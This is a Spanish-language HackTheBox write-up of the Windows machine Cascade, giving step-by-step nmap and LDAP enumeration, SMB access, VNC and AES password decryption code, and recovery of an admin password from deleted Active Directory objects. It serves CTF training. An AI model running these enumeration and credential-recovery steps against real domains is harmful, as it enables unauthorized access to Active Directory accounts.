· Manuel López Pérez · hackthebox · 5 min read
WriteUp – Cascade (HackTheBox)
Write-up de Cascade (HackTheBox): máquina Windows media que explota LDAP para enumerar usuarios y atributos ocultos, obtiene credenciales de VNC en registro, revierte binario .NET para clave AES, y recupera contraseña de admin de objetos eliminados en Active Directory Recycle Bin.

En este post haremos la máquina Cascade de HackTheBox. Es una máquina Windows de nivel medio que me ha resultado bastante interesante. Tendremos que enumerar el directorio activo en busca de unas credenciales para poder acceder al SMB, descargar el fichero de contraseñas de VNC para escalar a un usuario intermedio, desensamblar un binario para acceder a otro usuario y finalmente explorar los objetos borrados del directorio activo para encontrar unas credenciales que permitan acceder al usuario administrador.
Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.10.182 
Una vez sabemos qué puertos están abiertos, procedemos a hacer un escaneo más completo con Nmap: versiones (-sV) y utilizando los scripts (-sC):
nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 --min-rate 4500 --max-rtt-timeout 1500ms 10.10.10.182 
Como veis, tiene abiertos los puertos típicos de un directorio activo en Windows. Además tiene abierto el puerto 5985 que puede servirnos para acceder via WinRM cuando tengamos unas credenciales.
El siguiente paso es enumerar el directorio activo con alguno de los siguientes comandos:
enum4linux 10.10.10.182 ldapsearch -h 10.10.10.182 -p 389 -x -b "dc=cascade,dc=local" rpcclient -U "" 10.10.10.182 También podemos hacer las consultas LDAP a mano a con la biblioteca de Python LDAP3:
#!/usr/bin/env python3
import ldap3
import json
def find_user_entries(host, port,
ssl=False):
server = ldap3.Server(host,
get_info=ldap3.ALL,
port=port,
use_ssl=ssl)
connection = ldap3.Connection(server) connection.bind()
root_domain = server.info.__dict__['raw']['rootDomainNamingContext'][0].decode() connection.search(search_base=root_domain,
search_filter='(&(objectClass=person))',
search_scope='SUBTREE',
attributes='*')
return connection.entries
HOST = "cascade.local"
PORT = 389
entries = find_user_entries(HOST, PORT)
with open(HOST + ".json", "w") as f: json.dump([json.loads(e.entry_to_json())
for e in entries], f)La ejecución de este código nos crea un fichero JSON con todos los objetos “person” del sistema.
python3 ldap_enum.py 
Revisando todos los atributos de cada usuario, encontramos que el usuario “Ryan Thompson” tiene un atributo “cascadeLegacyPwd” que parece ser una cadena de Base64:
$ echo "clk0bjVldmE=" | base64 -d rY4n5eva Ya hemos encontrado un usuario: r.thompson:rY4n5eva
Explotación
Ahora que tenemos unas credenciales, vamos a intentar conseguir una shell via WinRM con la herramienta Evil-Winrm:

Parece que este usuario no puede acceder por esta vía al sistema, vamos a enumerar de nuevo con enum4linux con las nuevas credenciales:
enum4linux -u r.thompson -p rY4n5eva cascade.local 
Tenemos permisos de lectura en DATA, vamos a probar a acceder vía SMB con SMBClient:
./smbclient.py r.thompson:rY4n5eva@cascade.local 
Tras rebuscar y leer los ficheros que tenemos permisos, encontramos algo intersante en “IT/Temp/s.smith/VNC Install.reg”:
get IT/Temp/s.smith/VNC Install.reg 
En el fichero de instalación de VNC del usuario s.smith encontramos una posible contraseña cifrada “Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f. Para descifrar la contraseña, utilizamos el siguiente repositorio: https://github.com/jeroennijhof/vncpwd Pero antes debemos guardar la contraseña cifrada (que inicialmente está en hexadecimal) en un fichero:
import binascii
with open("vnc_passwd", "wb") as f: f.write(binascii.unhexlify('6b,cf,2a,4b,6e,5a,ca,0f'.replace(",", "")))
Ahora ya tenemos la contraseña de s.smith: sT333ve2.
Vamos a probar estas credenciales con Evil-WinRM:
evil-winrm -i cascade.local -u s.smith -p sT333ve2 
Ya tenemos el flag de usuario, ahora tenemos que intentar escalar a algún otro usuario o al administrador. Enumeramos de nuevo con enum4linux a ver si podemos acceder a nuevos directorios:
enum4linux -u s.smith -p sT333ve2 -S cascade.local 
Gracias al comando anterior, vemos que podemos acceder al Share “Audit$”:

Descargamos todos los ficheros y abrimos los binarios (CascAudit.exe y CascCrypto.dll) con DnSpy o cualquier otro decompilador de .NET:


Si leemos el código, vemos que encripta con AES en modo CBC la contraseña (que está en la base de datos que también nos hemos descargado) con la clave “c4scadek3y654321”. Exploremos la base de datos SQLite3:

Con cualquier decrypter online de AES podemos obtener la contraseña del usuario ArkSvc:

O con python:
from Crypto.Cipher import AES import base64
# https://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256
def _unpad(s): return s[:-ord(s[len(s)-1:])]
c = base64.b64decode(b"BQO5l5Kj9MdErXx6Q6AGOw==") iv = b"1tdyjCbY1Ix49842" key = b"c4scadek3y654321"
cipher = AES.new(key, AES.MODE_CBC, iv)
print(_unpad(cipher.decrypt(c)))
Accedemos con Evil-WinRM al servidor con las credenciales ArkSvc:w3lc0meFr31nd. Vamos a enumerar con este nuevo usuario, listamos los grupos a los que pertenece:
Get-ADPrincipalGroupMembership ArkSvc | select name 
A mí me sorprendió el grupo “AD Recycle Bin” ya que es el único distinto con respecto del usuario anterior (s.smith).

Tras investigar un poco sobre este grupo en Windows Server 2008 R2, vemos que se pueden listar y recuperar los objetos eliminados del directorio activo:
Get-ADObject -f {(isDeleted -eq $true) -and (name -ne "Deleted Objects")} -includeDeletedObjects 
Como veis, hay un usuario “TempAdmin” lo cual me llevó a un fichero que pude leer con el primer usuario (Data/IT/Email Archives/Meeting_Notes_June_2018.html):
perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).
Así que si recuperamos la contraseña del usuario TempAdmin, podremos acceder como administrador al sistema:
Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties * 
Este objeto tiene el atributo “cascadeLegacyPwd” (como r.thompson) con su contraseña en Base64:
$ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d baCT3r1aN00dles Ahora podemos acceder al sistema con administrador y leer la flag:
evil-winrm -i cascade.local -u Administrator -p baCT3r1aN00dles 

